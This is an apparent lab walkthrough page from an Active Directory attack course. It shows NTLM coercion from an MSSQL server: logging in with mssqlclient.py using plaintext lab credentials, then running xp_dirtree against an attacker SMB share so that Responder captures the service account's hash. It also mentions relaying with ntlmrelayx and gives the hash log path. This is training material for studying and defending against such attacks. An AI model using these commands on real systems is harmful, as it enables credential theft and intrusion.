> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/mssql-servers-exploitation/mssql-coerce-and-relay.md).

# MSSQL Coerce and relay

* Mssql can also be use to coerce an NTLM authentication from the mssql server. The incoming connection will be from the user who run the mssql server.
* In our case if we tale any user like miguel.cabrera for example we can get an NTLM authentication

```
mssqlclient.py -windows-auth north.newyork.local/miguel.cabrera:ilovebaseball@yonkers.north.newyork.local
```

or

```
mssqlclient.py -windows-auth north.newyork.local/pacofish:pacofish@yonkers.north.newyork.local
```

* run a xp\_dirtree command :

```
exec master.sys.xp_dirtree '\\192.168.56.31\demontlm',1,1
```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FODeFvkEE1lK0HeL1iUBq%2Fimage.png?alt=media&amp;token=83764edd-2bb1-4fa3-a0b8-ebee355b8671" alt=""><figcaption></figcaption></figure>

* And we get a connection back to our responder

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FbrpIkAYlnCTxwWewbLW5%2Fimage.png?alt=media&amp;token=2da2ab97-9e90-4107-9676-732502edc3f4" alt=""><figcaption></figcaption></figure>

* This will work also with ntlmrelayx (like with a server running as administrator and with the same password on other servers). But on the lab, this kind of behavior is not setup by now.

Responder HASH Location

```
/usr/share/responder/logs
```
